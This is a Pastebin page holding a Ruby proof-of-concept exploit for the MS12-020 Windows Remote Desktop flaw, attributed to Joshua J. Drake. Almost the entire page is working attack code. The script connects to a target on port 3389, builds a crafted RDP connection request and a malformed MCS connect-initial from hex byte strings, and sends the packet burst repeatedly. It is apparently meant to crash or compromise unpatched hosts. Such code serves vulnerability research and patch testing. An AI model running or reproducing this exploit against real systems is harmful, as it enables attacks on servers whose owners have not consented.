API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Mar 15th, 2012
1,260
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.78 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/env ruby
  2.  
  3. #
  4. # ms12-020 PoC attempt
  5. #
  6. # NOTE: This was crafted based on a legit connection packet capture and reversing
  7. # a packet capture of the the chinese PoC.
  8. #
  9. # by Joshua J. Drake (jduck)
  10. #
  11.  
  12. require 'socket'
  13.  
  14. def send_tpkt(sd, data)
  15. sd.write(make_tpkt(data))
  16. end
  17.  
  18. def make_tpkt(data)
  19. [
  20. 3, # version
  21. 0, # reserved
  22. 4 + data.length
  23. ].pack('CCn') + data
  24. end
  25.  
  26. def make_x224(data)
  27. [ data.length ].pack('C') + data
  28. end
  29.  
  30. def make_rdp(type, flags, data)
  31. [ type, flags, 4 + data.length ].pack('CCv') + data
  32. end
  33.  
  34.  
  35. host = ARGV.shift
  36.  
  37. sd = TCPSocket.new(host, 3389)
  38. pkts1 = []
  39.  
  40. # craft connection request
  41. rdp = make_rdp(1, 0, [ 0 ].pack('V'))
  42. x224_1 = make_x224([
  43. 0xe0, # Connection request
  44. 0, # ??
  45. 0, # SRC-REF
  46. 0 # Class : Class 0
  47. ].pack('CnnC') + rdp)
  48.  
  49. pkts1 << make_tpkt(x224_1)
  50.  
  51.  
  52. # craft connect-initial
  53. x224_2 = make_x224([
  54. 0xf0, # Data / Class 0
  55. 0x80 # EOT: True / NR: 0
  56. ].pack('CC'))
  57.  
  58. # mcsCi
  59. target_params = ""+
  60. #"\x02\x01\x00"+ # maxChannelIds
  61. "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds
  62. "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds
  63. "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds
  64. "\x02\x04\x00\x00\x00\x01"+ # numPriorities
  65. "\x02\x04\x00\x00\x00\x00"+ # minThroughput
  66. "\x02\x04\x00\x00\x00\x01"+ # maxHeight
  67. "\x02\x02\xff\xff"+ # maxMCSPDUSize
  68. "\x02\x04\x00\x00\x00\x02" # protocolVersion
  69. min_params = ""+
  70. "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds
  71. "\x02\x04\x00\x00\x00\x01"+ # maxUserIds
  72. "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds
  73. "\x02\x04\x00\x00\x00\x01"+ # numPriorities
  74. "\x02\x04\x00\x00\x00\x00"+ # minThroughput
  75. "\x02\x04\x00\x00\x00\x01"+ # maxHeight
  76. "\x02\x02\x04\x20"+ # maxMCSPDUSize
  77. "\x02\x04\x00\x00\x00\x02" # protocolVersion
  78. max_params = ""+
  79. "\x02\x02\xff\xff"+ # maxChannelIds
  80. "\x02\x02\xfc\x17"+ # maxUserIds
  81. "\x02\x02\xff\xff"+ # maxTokenIds
  82. "\x02\x04\x00\x00\x00\x01"+ # numPriorities
  83. "\x02\x04\x00\x00\x00\x00"+ # minThroughput
  84. "\x02\x04\x00\x00\x00\x01"+ # maxHeight
  85. "\x02\x02\xff\xff"+ # maxMCSPDUSize
  86. "\x02\x04\x00\x00\x00\x02" # protocolVersion
  87.  
  88. userdata = ""+
  89. # gccCCrq
  90. "\x00\x05\x00\x14"+
  91. "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  92. # clientCoreData
  93. "\x01\xc0"+"\xd8\x00"+ # header (type, len)
  94. "\x04\x00"+"\x08\x00"+ # version
  95. "\x80\x02"+ # desktop width
  96. "\xe0\x01"+ # desktop height
  97. "\x01\xca"+ # color depth
  98. "\x03\xaa"+ # SASSequence
  99. "\x09\x04\x00\x00" + # keyboard layout
  100. "\xce\x0e\x00\x00" + # client build number
  101. # client name
  102. "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  103. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  104. "\x04\x00\x00\x00"+ # keyboard type
  105. "\x00\x00\x00\x00"+ # kbd subType
  106. "\x0c\x00\x00\x00"+ # kbd FuncKey
  107. # imeFileName
  108. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  109. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  110. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  111. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  112. "\x01\xca"+ # postBeta2ColorDepth
  113. "\x01\x00"+ # clientProductId
  114. "\x00\x00\x00\x00" + # serialNumber
  115. "\x10\x00"+ # highColorDepth
  116. "\x07\x00"+ # supportedColorDepths
  117. "\x01\x00"+ # earlyCapabilityFlags
  118. # clientDigProductId -poc has: "00000-000-0000000-00000"
  119. "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
  120. "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
  121. "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
  122. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  123. "\x00"+ # connectionType
  124. "\x00"+ # pad1octet
  125. "\x00\x00\x00\x00"+ # serverSelectedProtocol
  126. "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
  127. "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
  128. "\x00\x00\x00\x00"+ # reserved
  129. # clientSecurityData
  130. "\x02\xc0"+"\x0c\x00"+ # header (type, len)
  131. "\x1b\x00\x00\x00"+ # encryptionMethods
  132. "\x00\x00\x00\x00"+ # extEncryptionMethods
  133. # clientNetworkData
  134. "\x03\xc0"+"\x2c\x00"+ # header (type, len)
  135. "\x03\x00\x00\x00"+ # channel count!
  136. # channel 0
  137. "rdpdr\x00\x00\x00"+ # name
  138. "\x00\x00\x80\x80"+ # options
  139. # channel 1
  140. "cliprdr\x00"+ # name
  141. "\x00\x00\xa0\xc0"+ # options
  142. # channel 2
  143. "rdpsnd\x00\x00"+ # name
  144. "\x00\x00\x00\xc0" # options
  145. # clientClusterData (not present)
  146. # clientMonitorData (not present)
  147.  
  148. mcs_data = ""+
  149. "\x04\x01\x01"+ # callingDomainSelector
  150. "\x04\x01\x01"+ # calledDomainSelector
  151. "\x01\x01\xff"+ # upwardFlag
  152. #"\x30" + [ target_params.length ].pack('C') + target_params +
  153. #"\x30" + [ min_params.length ].pack('C') + min_params +
  154. #"\x30" + [ max_params.length ].pack('C') + max_params +
  155. "\x30" + [ 0x19 ].pack('C') + target_params +
  156. "\x30" + [ 0x19 ].pack('C') + min_params +
  157. "\x30" + [ 0x1c ].pack('C') + max_params +
  158. # userData
  159. "\x04\x82" + [ userdata.length ].pack('n') + userdata
  160.  
  161. #mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length
  162. mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n') # connect-initial (0x65 / 101), length
  163. mcs << mcs_data
  164.  
  165. pkts1 << make_tpkt(x224_2 + mcs)
  166.  
  167.  
  168. # send a special one?
  169. pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
  170.  
  171. # send more pkts! - based on poc
  172. 10.times {
  173. pkts1 << make_tpkt(x224_2 + "\x28")
  174. }
  175.  
  176. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
  177. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
  178. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
  179. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
  180. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
  181. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
  182. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
  183. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
  184. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")
  185.  
  186. pkts1 << make_tpkt(x224_2 + "\x21\x80")
  187.  
  188. bigpkt = pkts1.join('')
  189. i = 0
  190. #loop {
  191. sd.write(bigpkt)
  192.  
  193. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  194. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  195. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  196. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  197.  
  198. # read connect-initial response
  199. buf = sd.recv(1500)
  200. # XXX: TODO: check response =)
  201. #puts buf
  202.  
  203.  
  204. #AAA
  205. sd.write(bigpkt)
  206.  
  207. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  208. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  209. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  210. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  211.  
  212. # read connect-initial response
  213. buf = sd.recv(1500)
  214. # XXX: TODO: check response =)
  215. #puts buf
  216. sd.write(bigpkt)
  217.  
  218. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  219. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  220. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  221. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  222.  
  223. # read connect-initial response
  224. buf = sd.recv(1500)
  225. # XXX: TODO: check response =)
  226. #puts buf
  227. sd.write(bigpkt)
  228.  
  229. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  230. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  231. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  232. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  233.  
  234. # read connect-initial response
  235. buf = sd.recv(1500)
  236. # XXX: TODO: check response =)
  237. #puts buf
  238. sd.write(bigpkt)
  239.  
  240. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  241. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  242. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  243. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  244.  
  245. # read connect-initial response
  246. buf = sd.recv(1500)
  247. # XXX: TODO: check response =)
  248. #puts buf
  249. sd.write(bigpkt)
  250.  
  251. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  252. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  253. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  254. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  255.  
  256. # read connect-initial response
  257. buf = sd.recv(1500)
  258. # XXX: TODO: check response =)
  259. #puts buf
  260. sd.write(bigpkt)
  261.  
  262. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  263. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  264. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  265. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  266.  
  267. # read connect-initial response
  268. buf = sd.recv(1500)
  269. # XXX: TODO: check response =)
  270. #puts buf
  271. sd.write(bigpkt)
  272.  
  273. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  274. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  275. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  276. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  277.  
  278. # read connect-initial response
  279. buf = sd.recv(1500)
  280. # XXX: TODO: check response =)
  281. #puts buf
  282. sd.write(bigpkt)
  283.  
  284. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  285. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  286. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  287. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  288.  
  289. # read connect-initial response
  290. buf = sd.recv(1500)
  291. # XXX: TODO: check response =)
  292. #puts buf
  293. sd.write(bigpkt)
  294.  
  295. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  296. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  297. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  298. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  299.  
  300. # read connect-initial response
  301. buf = sd.recv(1500)
  302. # XXX: TODO: check response =)
  303. #puts buf
  304. sd.write(bigpkt)
  305. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  306. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  307. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  308. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  309.  
  310. # read connect-initial response
  311. buf = sd.recv(1500)
  312. # XXX: TODO: check response =)
  313. #puts buf
  314. sd.write(bigpkt)
  315. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  316. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  317. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  318. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  319.  
  320. # read connect-initial response
  321. buf = sd.recv(1500)
  322. # XXX: TODO: check response =)
  323. #puts buf
  324. sd.write(bigpkt)
  325. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  326. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  327. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  328. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  329.  
  330. # read connect-initial response
  331. buf = sd.recv(1500)
  332. sd.write(bigpkt)
  333. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  334. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  335. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  336. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  337.  
  338. buf = sd.recv(1500)
  339. sd.write(bigpkt)
  340. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  341. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  342. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  343. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  344.  
  345. buf = sd.recv(1500)
  346. sd.write(bigpkt)
  347. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  348. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  349. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  350. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  351.  
  352. buf = sd.recv(1500)
  353. sd.write(bigpkt)
  354. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  355. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  356. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  357. send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  358.  
  359. buf = sd.recv(1500)
  360.  
  361.  
  362.  
  363. #BBB
  364.  
  365.  
  366. #}
  367.  
  368. sd.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!